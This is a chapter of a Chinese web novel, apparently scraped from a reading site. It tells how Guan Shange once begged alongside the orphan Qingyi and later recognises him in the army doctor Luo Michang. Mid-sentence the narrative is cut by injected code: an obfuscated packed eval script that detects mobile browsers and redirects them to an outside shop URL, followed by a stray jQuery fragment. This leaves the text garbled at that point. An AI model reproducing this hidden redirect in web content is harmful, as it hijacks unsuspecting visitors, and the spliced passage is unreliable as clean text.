第一百章真正娄清意苦命过往浮现(二)
(蔻燎)
另一次看见菩提果串金佛的经过发生在十九年前,比从黑金砚台里看见要早了许久。
当年,关山隔在无垠国夺嫡失败,一路逃亡到罗家坨保命,那时罗家坨里里外外藏了许多要砍他项上人头的刺客,他为了活着扮成乞丐,混在一堆乞丐里跟着要吃要喝。
那模样,要多凄惨就多凄惨,完全无法想象他曾经是无垠国的国王,虽然只当了短短三日。
好巧不巧,罗家坨众多的乞丐里有一名小孩子,无姓,名字叫清意,他的脖子上时时刻刻戴着一条菩提果串金佛的项链。
由于金佛是纯金打造,他只露出来给关山隔看过一次,便继续隐在衣服底下,仿佛极其看重。
关山隔在街上要来了半个芝麻烧饼,掰了一半给清意,清意连连答谢,笑得见眉不见眼。
两人躲在小深巷里,望着头顶幽蓝的一线天,吃一口,发出同频率的叹气声。
关山隔说,“你有那么大一块金子,为何不去典当换些衣服吃食?”
年仅八岁的清意抱着大大的芝麻烧饼,啃了一嘴,含糊不清道,“不能当,我什么都没有了,不能把它也当了。”
“它是你亲人送给你的吗?你的父母呢?”
“我没有父母,他们都不管我,我根本不知道他们在哪,长什么样子,只记得这金佛是我娘给我的,可是,这些也只是从师父嘴里听说的。”
“你有师父?”关山隔一愣,一口塞下烧饼,嚼了嚼道,“为什么不去找你的师父收留你?”
“我师父早已死啦。”
清意看着手里的烧饼,眼眶里聚满了呼之欲出的热泪,“他教了我很多药材的名字,用法,如何煎药,教我怎么给人看病……我的师父明明那么善良,一辈子救死扶伤,到最后却被病患捅死了。他死了后,就没人照顾我了,他们都觉得我是个累赘,都不要我……”
谈及世界上唯一对自己好的师父,小清意哭得泪眼婆娑,手里的烧饼都不香了。
关山隔当时二十有二,还未婚配,没有带孩子的经验,只会硬邦邦地去把对方揽进怀里,哄道,“别哭别哭,等过段时间,哥哥带你离开罗家坨好吗?你记得你是怎么来罗家坨的吗?你知道你师父以前的家在哪吗?你要是有一点线索,哥哥就能送你回去。”
清意许久没被温暖的怀抱包裹,他贪恋地在关山隔衣服上小猫似的蹭蹭,抽一抽鼻子,哭泣不止,“我不知道,我忘了,我跟着师父四处治病,兜兜转转就歇到了这里,师父死了后,我被人丢弃,不知道怎么走回去,也没有地方可去。大哥哥,我讨厌这里,讨厌这里的风沙,讨厌这里不合胃口的吃食,我讨厌这里陌生的人群,我讨厌整个虚伪的世界!”
“为什么,别人都有父亲母亲,偏我什么都没有呢?我本来还有师父,现在师父也弃我而去,我真的什么都没有了。”
“……”
若论起“讨厌”二字,关山隔的处境也没有好到哪里去,他何尝不讨厌眼下自己狼狈不堪的模样?讨厌自己一次次心软,一次次助长他人火焰,一次次对他居心叵测的弟弟深信不疑,直到把自己弄成如此下场。
无语凝噎,不知如何安慰怀中的小儿,关山隔只得一遍遍用手掌轻轻地拍打清意的后背。
说到此处,关山隔回过神来,陷入了一种无法自拔的痛苦,“我本来的计划是等风头过去,就拖上清意一起离开罗家坨,去外面的世界闯一闯,总会有我们落脚的地方,渐渐的,我与他越来越熟悉,他常常在我面前笑得天真无邪,我每每承诺他会带他走……后来,终究是食言了。”
“为什么食言了?”柳厢不解地问。
“一日,我被人追杀,为了不连累清意,我甩下他引开刺客,等我打退了刺客再去寻他时,翻遍整个罗家坨都不见他的一丝踪影……他就像人间蒸发一样骤然消失,我不甘心,每天都提心吊胆地躲避刺客,鬼鬼祟祟地找着清意的身影。”
“时间一天天过去,我还是没能找到他,问遍了街上的其他人,都说没有看见过……后来,我遇见你的母亲,被她勾搭得五迷三道,就跟着她去了寒月山风情寨……那清意现如今是死是活,当真一时拿不准了。”
柳厢默然,严肃道,“爹,你现在还记得他的长相吗?”
“依稀记得,他有一双能魅惑众生的妩媚凤目,狭长而有神,我以前打趣他的眼睛如果生在女孩子脸上,必定更好看。”
“那便好了。”
“什么好了?”
柳厢和俞冠楚四目相对,两人点了点头,柳厢注目关山隔,一字一句道,“爹,或许你口中的清意没有死,他还活得好好的。”
……
水汽蒸腾,袅袅的白雾笼罩了整间屋子,苦涩清新的药材味无孔不入地弥漫在大小陈设上,要腌入味一般。
浓黑似墨的药汁盛满浴桶,俯首去看,能清晰地照出人影儿。
穿着薄如蝉翼的绯色裤子,上半身□□的骆弥长,捻过桌上的一根红玉簪挽好发髻。
修长的手指几下拔弄,解开了环在劲瘦细腰上的一串金光闪闪的事物,小心翼翼地搁放在桌案。
白白净净腿毛稀少的两只小腿迈进药桶,缓缓下沉,使乌黑的药汁浸在胸口位置。
头往后仰,慢慢闭上眼睛,嘴唇微启,正想借着药浴小憩一会,门外的小医侍出声道,“骆军医,柳将军求见。”
“不见。”
一听见柳厢过来,骆弥长想也没想就拒绝了,谁愿意频频与看见过自己赤--裸臂膀和胸膛的女人见面?
那小医侍又添了一句,“骆军医,狐珈军师亦来求见,他们想找你救一救人。”
骆弥长猛的睁开眼睛,扭头去觑门口,滞了须臾,“哗啦啦”从药桶里站起来,拿绸缎擦净药汁,在腰上系好金色饰品,重新披穿好衣物,推门出去。
院落里立了三抹身影,一霜一青一黑。
望见来人,骆弥长惯例地没摆什么好脸色,狭长的凤眼扫到俞冠楚之时,才放柔一些。
他瞅着柳厢,嗤笑道,“柳将军,你昨儿闹了那么大的阵仗,还会有有求于人的时候?”
柳厢不理骆弥长的阴阳怪气,笑呵呵道,“有一位士兵受了严重的伤,想劳烦你给治一治,不好意思,打搅你了。”
“哪里有伤?”
伤兵来都来了,当着狐珈的面轰出去也不是道理,骆弥长走过去坐在院中椅子上,头也没抬,“露出来我瞧瞧?”
关山隔自骆弥长出门,视线就定定不移地打量对方,直到对方
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13333815|124012||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
走到眼前,看着那熟悉又模糊的容貌,喉结一动,捋起袖口,裤腿,把那些与沙山行打斗留下来的伤痕暴露出来。
骆弥长嫌弃地瞄了两眼,连望闻问切都没有实施完,侧目朝身旁的小医侍嘟囔几句,小医侍点点头,回屋抓药去了。
他嗤之以鼻,冷冰冰道,“都是些未曾伤筋动骨的皮肉伤,无伤大雅,死不了,吃点药,搽点药膏即可。若没其他事,请回吧。”
一振衣袍,旋身欲走,背后冷不丁传来一声久违的嗓音,“多谢。”
身形一顿,骆弥长张口结舌,回眸看向关山隔的方向,只见对方面上蒙了纱巾,纱巾下的容貌遮住大半,识不清楚。
他上下觑了一遍,心口发懵,略觉眼熟,动了动嘴唇,“你是?”
关山隔道,“多谢骆军医。”
骆弥长哼道,“我当是谁呢?一个小小残兵,不必谢了,走吧。”
看来,他大抵是没有认出来眼前之人就是十九年前和他共同乞讨的大哥哥。
十九年太漫长了,漫长到能有一个柳厢平平安安地出生长大,漫长到物是人非,相见不相识。
骆弥长走到俞冠楚面前,停了一秒,欲言又止,最后留下一记意味深长的眼神,摔摔衣摆,钻进了屋子。
俞冠楚皱了皱眉峰,感受到骆弥长那自内而外散发出来的苦涩药味,还有拒人千里的冷漠,不由得抿紧唇角。
小医侍捧来了包好的药物,解释了哪包是用来吃的,哪包是用来抹的,交代完毕,彬彬有礼地目送众人离去。
一行人出了院子,走在路上,柳厢和俞冠楚并排,关山隔以残兵的模样如履薄冰地跟在后端。
柳厢嘀咕道,“爹,你觉得是他吗?”
“错不了。”
关山隔压着喉咙,眼里挤满了不可置信,“没想到,他还活着,还活得这么好,这么多年我放心不下他的安危,如今也能放下了。”
得到肯定回答的柳厢和俞冠楚激动得相视一笑,真正的娄清意的身份确定了,再也不是胡乱猜测了。
俞冠楚笑道,“皇天不负有心人。”
关山隔语气沉重,“你们找到了他,后面准备怎么样?”
“先看着他,不让他在大千世界里乱跑,等他给大将军守完孝就抓他回百里京。”柳厢眉梢一挑,势在必得,“届时,他的作用非常重要。”
“你们,不会利用完他就过河拆桥,卸磨杀驴吧?”关山隔心软的老毛病又犯了,踌躇道,“他这么多年谨小慎微地活着,或许不知道自己的真实身份,何必将他卷入权力的漩涡。”
俞冠楚否认关山隔的想法,直截了当道,“爹,他的存在至关重要,没有他,就难以对付娄太后,你放心,最后我们不会害了他的性命。至于权力的漩涡,自他出生起,就不可避免地卷入了,如何能干干净净地脱身在外?”
关山隔不再回话,点点头,又摇摇头。
柳厢为了转移关山隔的注意力,抛出了一个她早就想问的话题,“爹,你知道夫妻蝎的毒素如何从根本上解了吗?”
察觉到不对劲的俞冠楚直勾勾看着柳厢,不假思索,“阿厢,你何以问爹,爹会知道这些吗?”
他不知道,眼前的关山隔是如假包换的无垠国王室中人,他的妻子亦是半个无垠国人。